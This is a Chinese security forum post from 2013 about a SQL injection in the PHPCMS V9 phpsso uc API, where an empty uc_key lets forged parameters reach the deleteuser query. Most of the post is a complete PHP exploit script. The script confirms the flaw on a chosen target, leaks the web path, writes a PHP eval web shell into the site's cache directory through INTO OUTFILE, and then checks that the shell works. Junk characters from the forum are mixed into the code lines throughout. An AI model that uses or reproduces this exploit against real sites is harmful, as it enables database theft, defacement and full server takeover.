找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2035|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
% Z# b+ ]8 y/ e: U6 s; U  R
) F& v3 f" e- G7 ~; t4 R# w所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。. B' W* f# V  c$ N6 G/ B2 ?
+ T& d# m' L% t; \6 V% ~
漏洞分析:& D: e5 Q8 a# `- M* j  e5 G  y/ D& a
1.未启用ucenter服务的情况下uc_key为空) O3 U- y' j. x" [# C( P
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
  ]9 c2 h, S8 ^- r" p# f( E9 C" P2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
! X" c# L4 M5 X9 C8 q. B- A: |5 D    public function deleteuser($get,$post) {
+ b3 P1 D) T2 J        pc_base::load_app_func('global', 'admin');
8 ^$ z5 T* q2 J2 e* O# K  {        pc_base::load_app_class('messagequeue', 'admin' , 0);
, C  k% N/ F* Z4 C0 R9 c% C$ S% l. M        $ids = new_stripslashes($get['ids']);5 i' N: L! J7 Y& L0 e5 K, d
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");6 k6 H/ U* A$ R9 A1 l
SQL语句为
9 C8 _4 N! M6 h8 j' k( ^" k- bSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
! v; U$ G1 [; {3 ]& |+ `$ g& c- _4 T4 p" f8 \, i
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
( Z1 _0 P) ^0 u6 Y, A! ~  l# y<?php
3 e: w4 J2 t  H8 z8 aprint_r('8 H. L8 ~3 h4 V3 A" N
---------------------------------------------------------------------------
- @5 p' d/ S/ g! v; Z3 _/ mPHPcms (v9 or Old Version) uc api sql injection 0day
8 B# }4 y6 g7 }by rayh4c#80sec.com0 g% ^( ]/ S& ?1 x' {$ u
---------------------------------------------------------------------------
* j$ s7 Z2 D% l');
1 ]2 I" d7 M: e! r: Y& N  w! Q* f, L" [# }% W
if ($argc<3) {
9 F3 ?3 q! I2 a8 @% i* c    print_r('% D0 q' i, `# {+ p8 x# }, i
---------------------------------------------------------------------------
  f  q# ?# s* M" r& O/ eUsage: php '.$argv[0].' host path OPTIONS
. d$ _) W  D6 c6 Q2 i' Nhost:      target server (ip/hostname)
2 ^2 m/ E" Q  }% k' {- Npath:      path to phpcms
2 D1 W! B! t! G% i* h( DOptions:9 s$ l' X% L3 l: ^
-p[port]:    specify a port other than 80
- a3 J  V# Y* r8 S$ o/ B2 c -P[ip:port]: specify a proxy  a6 E, A* }. {+ [3 v& b3 i
Example:8 b( B* t& A5 D  X3 L1 Z
php '.$argv[0].' localhost /3 g% F1 }. b7 S. g; V; Y
php '.$argv[0].' localhost /phpcms/ -p81
2 W* P% z, K' Y4 p! h0 d% Z# ~, N) Hphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
% w( ]& @, \$ O6 j# |4 j  q---------------------------------------------------------------------------
% A& e$ _- t* a: P  T* w');5 \( ]. v& _" Q! W( D$ r0 c  X, z  y1 b" m
    die;; R8 ^; Q  h, B% o) a
}
6 X4 g8 S" b# a# g( b3 q$ v& ^) Y$ Q" U& ?( e! c! ?
error_reporting(7);  w* t( s7 x2 G: ]
ini_set("max_execution_time",0);
+ [  j  Y' ~2 n; ^ini_set("default_socket_timeout",5);" o* r5 u% o0 B8 x
8 f/ P" g+ S" ?6 y
function quick_dump($string)* A, a2 j: k$ b6 J3 k
{
( ~5 `' m5 Q7 w- L& V) A$ y  $result='';$exa='';$cont=0;
4 D+ q# k+ T# u6 Q  for ($i=0; $i<=strlen($string)-1; $i++)
" R$ Q7 x4 m' h' d  {4 O5 `, l- Y9 {% M1 d# E
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))) P6 _7 `8 k- l
   {$result.="  .";}; f4 C. S, p" b; s
   else( {$ A3 E' A6 @* \$ d4 J/ Y
   {$result.="  ".$string[$i];}
0 _0 E2 N" a) q( F: b   if (strlen(dechex(ord($string[$i])))==2)( y3 N, r% @; }2 E  o$ a5 w1 q" N; Z
   {$exa.=" ".dechex(ord($string[$i]));}
# z( Z! W% r/ f8 ^/ _. A9 u  f   else7 p% K6 N5 }) |
   {$exa.=" 0".dechex(ord($string[$i]));}
9 u) ]- E1 B  A6 }! Z9 y2 [; J+ C) O   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
: D$ J" U  I6 f. ]+ ^+ [  }
* s- b# }3 }' |3 i3 y0 Z return $exa."\r\n".$result;
- U- T. @1 o8 T5 }8 G/ _' J2 _. s}
3 q' a; _! E7 ]6 v# a/ |$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
$ A0 ^, b9 G9 M  e% ~& ~6 U5 W8 A# t1 T# N, a
function send($packet)' `/ @) _- S7 d. ~
{
" s# r3 ~2 I3 q7 q  ^3 J* @3 b0 o  global $proxy, $host, $port, $html, $proxy_regex;4 S( z. u. W, t# U/ v- s+ J
  if ($proxy=='') {
. k, d$ S# U! {( C8 @$ e! i    $ock=fsockopen(gethostbyname($host),$port);+ l( ^% \) E  Y& ~( Z
    if (!$ock) {, T, {# {. |9 ^- @4 \
      echo 'No response from '.$host.':'.$port; die;
) T8 ^: q0 ^2 e    }
: Q' i) D+ {3 j; B  }. K1 Q' z6 S+ `; O7 Q
  else {
1 I( }# q7 l) \. `        $c = preg_match($proxy_regex,$proxy);' m% W- L/ R; I" G; v, S  `' n
    if (!$c) {* Y, A7 i! Y: {, I
      echo 'Not a valid proxy...';die;
/ z) K5 |/ c0 C& Q    }
! Y* z3 h" D: g& z" G0 a/ Q/ \& `    $parts=explode(':',$proxy);! E* V9 Z! y6 A
    $parts[1]=(int)$parts[1];
. c' s2 ?/ S8 b6 z, E2 k) P2 y8 H    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
" z5 U9 Y# D8 f& n7 ~    $ock=fsockopen($parts[0],$parts[1]);
  K# `( K: D1 E4 T# P    if (!$ock) {% p* }+ R8 u- G$ d# s8 p
      echo 'No response from proxy...';die;
! C3 }9 A- b* M# ^. y/ q        }! W0 g( n" k4 F- j
  }% I0 T! d1 V! B
  fputs($ock,$packet);
1 a3 `5 @! |4 x# Q( f6 s" k; s  if ($proxy=='') {
  D+ e) u7 }+ y! P# o    $html='';
1 E  u" e* l1 W% f( R# j# h    while (!feof($ock)) {
8 z7 Z; o" a5 C# i$ V3 q0 s      $html.=fgets($ock);
! N! _% Y. I( b  z* E3 F    }
6 {$ A$ N6 ~8 A) ~! ^6 b  }
+ P! [$ ]& A0 U% S  else {3 G) ~1 y9 A+ H: T
    $html='';
8 j  d% ~/ }  }9 `- s- T    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
" w+ ]! d# \. v- A      $html.=fread($ock,1);$ o7 E" m+ a, s" T
    }2 I5 g/ A' C$ \) {+ y( R
  }
( B7 k4 k/ ?6 Y( q# K! S  fclose($ock);# Y' R: a4 e( g4 d# l
}
% T1 y  n+ A7 X
" ?' H' {2 @/ K+ n3 p; M' ?) L' {$host=$argv[1];
& b1 [+ D: e. @* K- B* }$path=$argv[2];/ ?: G2 j2 |  }) Y
$port=80;. g; Q, r9 h1 a) h! v4 u6 J
$proxy="";
- b4 P3 R8 b& ^/ e7 c: I9 {for ($i=3; $i<$argc; $i++){
) I0 l2 K  T- p6 z- `) t( f( ^$temp=$argv[$i][0].$argv[$i][1];
+ j. |+ h1 H0 c! G# _: H3 Gif ($temp=="-p")
9 J8 m( t* v4 }5 Z7 P# y. m! R+ v{
# M9 }! @3 S. [* j1 f  $port=(int)str_replace("-p","",$argv[$i]);* A, g; g3 \; J/ `, d$ \
}4 X0 r+ @2 c  t8 @6 E1 p
if ($temp=="-P")* H- m; f% i$ p1 U& Q( b! U
{6 c  O7 ~. a3 ^5 H+ u7 K
  $proxy=str_replace("-P","",$argv[$i]);; B. @) I7 {7 z+ B+ p
}- B& I8 b4 u0 q6 r
}& x  t) F$ T6 o% A1 S5 W

: e" l4 z3 }1 |0 `: T9 B2 m" Cif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
% U9 o% {8 J. P4 f$ P5 |1 tif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}" t. t* Z5 e* s0 I7 r, s- b

3 i3 j- u& ?* M/ \$ H4 Lfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
+ ]) X  @, p/ q0 I2 o
! ^" X1 t) E$ @    $ckey_length = 4;
# a7 M' g7 t6 ?' Q, S! |  J3 }% X7 C; w" C2 Y0 {8 p& d0 T; @% q' h4 k
    $key = md5($key ? $key : '');# K9 Q8 K; w' W
    $keya = md5(substr($key, 0, 16));
$ I2 y* O" f0 K, o    $keyb = md5(substr($key, 16, 16));
" @1 Z; P2 ]. o& L  V. `9 I; ~    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';# H. j) w2 e* v8 Z  V4 P5 S4 M

5 M0 U+ \7 E9 B9 i8 a( G: p5 Z    $cryptkey = $keya.md5($keya.$keyc);
9 G* w, N9 A4 G2 y- j  M4 S# q1 [    $key_length = strlen($cryptkey);
  c$ `/ I$ v$ U1 s; t1 y6 i. L! |4 W
+ h' v! i( r8 _( q  o    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;/ k' f) F# h3 R* w& w- W6 O
    $string_length = strlen($string);
% |2 l& f# y! J: y( R% s( a7 N' H) L
    $result = '';
/ Q0 w4 R3 e, {; r, G) Y; d; p. [    $box = range(0, 255);! \/ c4 |% d$ o% o4 B

; q4 j; e/ g8 r% _    $rndkey = array();) E% K1 g- p- q( d% |' a- C! g
    for($i = 0; $i <= 255; $i++) {% D* M  {* B8 w/ d5 q! c
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);- y2 _" q( s0 @% X. K- l
    }
7 ~. _8 C9 {% ]! \# e3 A1 y7 p0 p7 Q+ t3 ~" J' }
    for($j = $i = 0; $i < 256; $i++) {/ T! l  [$ j! }" @% ^' I
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
7 J/ d; A, @; G6 ?8 h$ ]. \        $tmp = $box[$i];
6 ~3 {& U3 f7 A% I; I1 m        $box[$i] = $box[$j];
  y5 a" _% e4 Y# j( H0 _        $box[$j] = $tmp;# ]8 y9 H& T8 X# G; t
    }/ I  @/ P% W, l7 D, ]% p% w; u
; m, w9 |1 u/ M0 F/ @
    for($a = $j = $i = 0; $i < $string_length; $i++) {- h+ ^5 ^& t3 Q! I! ?  ~/ }
        $a = ($a + 1) % 256;" }9 s% J8 w& s' |2 Z( R
        $j = ($j + $box[$a]) % 256;
+ e5 J) |; V3 Q/ Q+ i        $tmp = $box[$a];+ J( N2 n" f7 ]. H1 o2 C+ T
        $box[$a] = $box[$j];
* k. f6 K( U; C        $box[$j] = $tmp;
, o/ X$ a2 U! v        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
, [7 l0 ~4 V0 c/ K; T4 \6 N    }8 g' n: u* ^" _3 J
' I+ x% }% `8 o5 Y
    if($operation == 'DECODE') {
" u" m, l! A" O        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
. i! z$ Y& @. {5 o4 _) ^2 F            return substr($result, 26);
* `9 V: q2 h- K, L. _        } else {0 s8 ]7 |6 x2 \  c. I7 G
            return '';$ ]7 ]% Q5 O) U6 V& x# i- u) A
        }
2 u% D3 J6 h  z* h& @    } else {
' J% ?, p# ]4 H: n$ g. ^4 Y        return $keyc.str_replace('=', '', base64_encode($result));& d: |! B( D3 R' W; Y2 y" ]& a
    }
7 D# R  x5 r4 S. l! c0 G  R* U
1 h& y8 P  h7 b+ V( g# H7 _}
8 |% C5 Z  O/ @$ b# h0 Z, m$ u
# C3 y/ L1 t) q1 o$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
9 m) _( q& U* V0 E) L0 N- g$SQL = urlencode(authcode($SQL, "ENCODE", ""));0 o' R: c6 D' ?1 X3 Y- v5 T& u
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";/ l. s& |$ V2 f2 @
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";0 {5 T# f% G( T
$packet.="User-Agent: Mozilla/5.0\r\n";2 O" c( T0 F* p6 x" K$ N; _
$packet.="Host: ".$host."\r\n";1 S7 s. M" Y$ u3 ~% r# L" U! z# ]
$packet.="Connection: Close\r\n\r\n";
8 B$ N! m' Z% K0 ~4 I8 Wsend($packet);
' p6 Q% o: \1 jif(strpos($html,"MySQL Errno") > 0){
! R2 x$ F* W0 d0 m7 @echo "[2] 发现存在SQL注入漏洞"."\n";
5 Q# B: d& h. Q9 [echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";: @6 P' {' {# C% U- l! L
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";' L' a" U& S* @# d, f- K. h
$packet.="User-Agent: Mozilla/5.0\r\n";
; D; |* i7 x8 G( E  [4 ^$packet.="Host: ".$host."\r\n";
, _# j* B' f6 P) w; ?$packet.="Connection: Close\r\n\r\n";
, b9 J0 T/ {& C: H( z, fsend($packet);/ ^# F6 j: D2 T9 f
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);$ H$ e5 O; }. k* a$ d
//print_r($matches);4 D4 o# _  [9 o' p: h
if(!empty($matches)){
* ?. F( d7 H- E9 l% h) C, R4 v* \$ r* {echo "[4] 得到web路径 " . $matches[0]."\n";1 Q( g! K# `' N; B
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";* K5 M/ ?$ ]7 i' _6 O
$SQL = "time=999999999999999999999999&ids=1)";
) r) \, \) ~, R% K! a$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";& [; T1 g0 j: z# L, f
$SQL.="&action=deleteuser";! E0 z/ j* l1 H( r) y1 K
$SQL = urlencode(authcode($SQL, "ENCODE", ""));8 X4 G! m/ l. G% V
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
8 ?7 H  G8 c  m3 k/ r5 B$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
. K1 r6 x# i1 x# w$packet.="User-Agent: Mozilla/5.0\r\n";1 g: E! S6 A' M& X' O
$packet.="Host: ".$host."\r\n";
$ n: Z8 M. k+ ^& a$ t+ @: c: q, [$packet.="Connection: Close\r\n\r\n";
* e/ z5 x) @: h8 a, n* Dsend($packet);
# b  N& [, e& g- a- p- o7 Z& L  i. t/ U- bif(strpos($html,"Access denied") > 0){
+ ^1 L' v" S" A$ g! necho "[-] MYSQL权限过低 禁止写入文件 ";. Q0 {4 k7 w) V/ P7 T& P9 t- t" c+ g
die;: B' h' T  g% {& _  v
}3 c) v7 J- P& x
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";* @- a  d9 I- {: _  T( |6 A) @9 Y
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";0 I: q7 `# ?& _8 @
$packet.="User-Agent: Mozilla/5.0\r\n";
  s$ w/ ]' g8 Z6 R, k+ |  Y$packet.="Host: ".$host."\r\n";
  j* b8 q/ n  l$ t0 l/ i4 C% M$packet.="Connection: Close\r\n\r\n";$ C1 w- x8 m9 ^( a
send($packet);& e. U$ b0 L* B
if(strpos($html,"<title>phpinfo()</title>") > 0){7 T; i. B: B$ N& d2 J
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";- ^1 L. T4 Q, M% j6 V0 T3 O9 e
}
0 h% `0 N& y/ l$ V1 F0 h0 V}else{
$ ~4 @' a  z" K% r8 y; A3 A! r- ]: Uecho "[-]未取到web路径 ";
$ u2 D  B2 G& V& i* l2 ~8 k}# |6 e, z4 h6 X, `" V0 k+ B+ D
}else{
1 D, `& ^% ]! q9 K# Secho "[*]不存在SQL注入漏洞"."\n";, V0 ]: b1 W/ X
}( E1 W1 G/ s. }$ K, j! X1 D- b
2 i: s2 O1 ~0 |6 \
?>( L, I$ U6 O6 D  F5 ?( e# E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表